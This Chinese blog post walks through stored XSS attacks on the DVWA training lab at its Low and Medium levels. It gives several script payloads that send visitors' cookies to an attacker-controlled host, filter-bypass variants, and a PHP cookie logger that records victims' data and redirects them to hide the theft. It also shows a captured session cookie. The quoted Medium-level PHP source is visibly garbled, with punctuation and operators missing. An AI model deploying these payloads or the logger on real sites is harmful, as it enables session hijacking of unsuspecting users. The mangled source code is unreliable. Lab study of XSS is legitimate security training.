DVWA存储型XSS不同级别完美绕过

DVWA存储型XSS不同级别完美绕过

 

Low级别

首先攻击者A访问这个网站  判断这个网站是否有XSS漏洞

 

 

 

 

 

发现是有XSS漏洞的

这时  攻击者A构造一个脚本  获取用户cookie

攻击者写好脚本以及测试这是否存在XSS

<script>alert(1)</script>

 

以上看到当再次访问这个网站时是出来这个窗口的  则存在XSS漏洞  而且是存储型

现在攻击者A把写好的获取用户cookie的脚本存放进去  

脚本如下:

</pre><script>document.location= 'http://192.168.244.1:8080/acceptcookie.php?cookie=' +document.cookie;</script><pre>

发现长度有限制  那F12该源码吧

 

此时其他用户访问一下

 

再次访问时

跳转到了百度  看一下获取到的cookie

 

 

 

首先是攻击者A  在自己的电脑上使用这个网站 

地址为http://*****/DVWA-1.9/vulnerabilities/xss_s/

获取cookie的php代码如下

<?php


$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型


$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件


header("Location: http://www.baidu.com")//重定向到baidu,防止发现
?>

 

 

获取的cookie如下

IP: 192.168.244.1

 Dateand Time: 2018-04-02 8:09:04

 UserAgent:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

 Referer:http://192.168.244.1:8080/DVWA-1.9/vulnerabilities/xss_s/

 Cookie: security=low;PHPSESSID=5ceminfpapqpc6qlgjtgr0e014

 

Medium Stored XSS Source

首先看一下源码:

<?php 

if( isset( $_POST'btnSign' ] ) ) { 
    // Get input 
    $message trim$_POST'mtxMessage' ] ); 
    $name    trim$_POST'txtName' ] ); 

    // Sanitize message input 
    $message strip_tagsaddslashes$message ) ); 
    $message mysql_real_escape_string$message ); 
    $message htmlspecialchars$message ); 

    // Sanitize name input 
    $name str_replace'<script>'''$name ); 
    $name mysql_real_escape_string$name ); 

    // Update database 
    $query  "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"
    $result mysql_query$query ) or die( '<pre>' mysql_error() . '</pre>' ); 

    //mysql_close(); 


?> 

与Low级的相比,name值的处理增加了一个str_replace() 函数,用来将字符串中含有“<script>”的字符串替换为空字符,从而稍微有点过滤作用;message值的处理中,在其第二次调用trim()函数时还内嵌了两个函数,先是使用addslashes() 函数、返回在预定义字符之前添加反斜杠的字符串,然后调用strip_tags()函数来剥去字符串中的HTML、XML 以及 PHP 的标签,在最后再调用htmlspecialchars() 函数、把预定义的字符转换为 HTML 实体,对输入的内容先进行HTML的编码然后再存储进服务器中,从而使message的SQL和XSS漏洞几乎不存在。

 

但是对于name的过滤不足, 

我们试一下利用name这个标签进行漏洞利用

 

 

这时候发现了什么  发现最后的</script>没有了因为我们传的内容是:</pre><script>document.location ='http://192.168.244.1:8080/acceptcookie.php?cookie=' +document.cookie;</script><pre>

 

我们试一下这个</pre><Script>document.location= 'http://192.168.244.1:8080/acceptcookie.php?cookie=' +document.cookie;</scri</script>pt><pre>

发现都是一样的 后面所有提交的内容都放在第一次的name下了   因为缺少</script> 想一下该怎么办

试一下这个<scr<script>ipt>alert(1)</script>

 

发现这样是可以的

但是试一下下面这个时

<scri<script>pt>document.location= 'http://192.168.244.1:8080/acceptcookie.php?cookie=' +document.cookie;</script>

 

就不可以了

还是少了</script>其实并不是少了</script>  而是它把</script>插入到了网页的最下面

我缩小了一下语句的长度  

<scri<script>pt>document.location='http://攻击者IP/acceptcookie.php?cookie='+document.cookie;</script>

惊人发现注入成功一半

已经出现</sc 了

最后在不断注入的过程中发现是长度的问题  不断缩小长度  最后注入语句为下面的居然成功了

<Script>document.location='http://攻击者IP/12.php?cookie='+document.cookie;</script>

其实这里应该是后台数据库中对存储内容长度做了限制

 

所以在渗透测试的过程中  一定要有耐心  还有仔细观察

  • 3
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值